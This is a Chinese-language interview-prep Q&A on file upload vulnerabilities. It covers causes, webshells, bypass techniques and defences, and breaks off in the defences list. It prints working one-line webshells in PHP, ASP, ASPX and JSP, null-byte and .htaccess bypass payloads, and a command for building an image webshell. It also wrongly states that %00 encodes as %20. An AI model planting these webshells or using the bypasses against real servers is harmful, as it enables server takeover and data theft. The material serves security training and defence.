1. 文件上传漏洞的原理是什么?
文件上传漏洞是指网站允许用户上传文件时,因未对上传文件的类型、内容、路径等进行严格验证和控制,导致恶意文件(如 Webshell)被成功上传至服务器,且能被服务器解析执行,从而被攻击者利用以获取服务器权限的漏洞。
2. 文件上传漏洞产生的原因是什么?
验证逻辑缺陷:仅依赖前端验证(可被绕过)、仅校验文件扩展名或 MIME 类型(易篡改);
文件处理不当:上传路径可控(攻击者可指定路径)、未对文件重命名(保留恶意文件名);
服务器配置问题:存在文件解析漏洞(如 Apache 的.htaccess 解析、IIS 的目录解析)、上传目录权限过高(可执行);
开发疏忽:未过滤文件内容(如未检测图片马中的恶意代码)、未限制文件大小(导致 DOS 攻击)。
3. 文件上传漏洞的危害有哪些?
攻击者可上传 Webshell,直接获取服务器操作权限(执行命令、读写文件);
窃取服务器敏感数据(数据库信息、用户数据、配置文件);
篡改网站内容(挂马、植入广告、删除页面);
利用服务器作为跳板,进一步渗透内网;
导致服务器被纳入僵尸网络,参与 DDOS 攻击等。
4. 什么是 Webshell?(含介绍)
Webshell 是一种通过 Web 接口控制服务器的恶意脚本,通常体积小、隐蔽性强,可被攻击者用于远程操控服务器。
作用:执行系统命令、读写文件、数据库操作、内网渗透等;
分类:按功能可分为 “一句话木马”(极简,依赖客户端连接)和 “大马”(功能齐全,含管理界面);
特点:通过 HTTP/HTTPS 协议与攻击者交互,无需直接登录服务器,隐蔽性高。
5. 常见的一句话木马有哪些?
PHP:
<?php @eval($_POST['cmd']);?>
(通过 POST 参数cmd
执行命令)ASP:
<%eval request("cmd")%>
(通过request
获取参数执行)ASPX:
<%@ Page Language="C#" %><%Response.Write(System.Diagnostics.Process.Start(Request["cmd"]).StandardOutput.ReadToEnd());%>
JSP:
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
6. PHP 中的 $_FILES 函数详解
$_FILES
是 PHP 的超级全局变量,用于获取客户端上传文件的信息,结构为二维数组(假设表单上传字段名为file
):
$_FILES['file']['name']
:客户端上传的原始文件名(含扩展名);$_FILES['file']['type']
:客户端提交的 MIME 类型(如image/jpeg
,可被篡改);$_FILES['file']['tmp_name']
:文件上传至服务器后的临时存储路径(需通过move_uploaded_file()
移动);$_FILES['file']['error']
:上传错误代码(0 = 成功,1 = 超 php.ini 大小限制,2 = 超表单大小限制,3 = 文件部分上传,4 = 无文件上传,6 = 临时目录缺失,7 = 写入失败);$_FILES['file']['size']
:上传文件的字节大小。
7. 你会如何检测文件上传漏洞?
信息收集:确定上传点(如表单、API)、查看页面源码获取验证逻辑(前端 JS);
功能测试:上传合法文件(验证是否正常存储)、上传恶意文件(观察是否被拦截);
绕过尝试:针对扩展名、MIME、内容的验证逻辑,分别用大小写、特殊后缀、图片马等测试;
服务器配置检测:测试是否存在解析漏洞(如上传
.htaccess
配合图片马);工具辅助:用 Burp Suite 抓包修改参数(如文件名、Content-Type),用漏洞扫描工具(如 AWVS)辅助检测。
8. 文件上传的绕过方式有哪些?(含姿势)
前端验证绕过:禁用浏览器 JS、删除表单
onchange
验证事件、修改accept
属性允许所有类型;扩展名绕过:
大小写:
.Php
、.Jpg
(服务器大小写不敏感时);特殊后缀:
.php5
、.phtml
(若服务器支持 PHP 解析);双写:
.pphphp
(过滤php
时被替换为php
);空格 / 点:
shell.php.
、shell.php
(Windows 下会忽略末尾空格 / 点);
MIME 类型绕过:抓包修改
Content-Type
为image/jpeg
(对应图片)、application/pdf
(对应 PDF);内容验证绕过:制作图片马(保留图片头
FFD8FF
)、伪造文件头(如在脚本前加GIF89a
);路径绕过:00 截断(
shell.php%00.jpg
,PHP 需magic_quotes_gpc=Off
)、路径穿越(../shell.php
);条件竞争:利用服务器先存储后验证的逻辑,在删除前访问临时文件执行命令。
9. 什么是 00 截断?如何利用它绕过扩展名检测?
00 截断:指 ASCII 码中的
0x00
字符,在 C 语言等字符串处理中被视为 “结束符”。若服务器用此类语言处理文件名,会忽略0x00
后的内容。利用方式:若服务器限制 “仅允许.jpg”,则构造文件名
shell.php%00.jpg
(URL 编码为shell.php%20.jpg
),服务器解析时会将%00
当作结束符,实际保存为shell.php
,从而绕过.jpg
限制。注意:需满足服务器环境(如 PHP < 5.3.4,且
magic_quotes_gpc=Off
)。
10. 文件上传漏洞:如何绕过 “仅允许.jpg 文件” 的限制?
扩展名绕过:用
.JPG
(大小写)、shell.jpg.php
(若仅校验末尾扩展名,需配合解析漏洞);00 截断:上传
shell.php%00.jpg
,服务器解析为shell.php
;MIME 绕过:抓包将
Content-Type
改为image/jpeg
;内容绕过:制作图片马(含
FFD8FF
图片头),上传后通过文件包含调用;前端绕过:删除表单中限制
.jpg
的 JS 验证逻辑;特殊后缀:若服务器支持,上传
shell.jpg.php5
(解析为 PHP)。
11. 目标站无防护,上传图片可以正常访问,上传脚本格式访问则 403,如何处理?
推测服务器对脚本文件(如
.php
)设置了访问限制(如mod_rewrite
规则);解决方案:
上传特殊后缀脚本(如
.php5
、.phtml
,若服务器支持解析);利用解析漏洞:上传
.htaccess
文件(内容AddType application/x-httpd-php .jpg
),使.jpg
被解析为 PHP,再上传图片马;结合文件包含漏洞:上传图片马,通过
?file=图片马路径
调用执行。
12. 如何制作图片码?
图片码(图片马)是包含恶意脚本的图片文件,制作步骤:
准备一张正常图片(如
1.jpg
)和一句话木马(如shell.php
,内容<?php @eval($_POST['cmd']);?>
);在 Windows 命令行执行:
copy /b 1.jpg + shell.php webshell.jpg
(/b
表示二进制合并);验证:用文本编辑器打开
webshell.jpg
,尾部可见shell.php
内容,且能正常显示为图片;用途:上传后通过文件包含或服务器解析漏洞执行脚本。
13. 文件上传漏洞的防护措施有哪些?
验证层面:
前端 + 后端双重验证(前端仅作提示,后端严格校验);
校验文件内容(如图片用
getimagesize()
检查宽高,或校验文件头FFD8FF
);
文件处理:
重命名文件(用随机字符串 + 时间戳,如
a1b2c3.jpg
,避免路径可控);限制文件大小(结合
php.ini
和业务需求);
服务器配置:
上传目录设置为不可执行(如
chmod 644
);关闭不必要的解析(如 Apache 禁用
.htaccess
,IIS 关闭目录解析);上传文件存储在非 Web 根目录或独立域名;
其他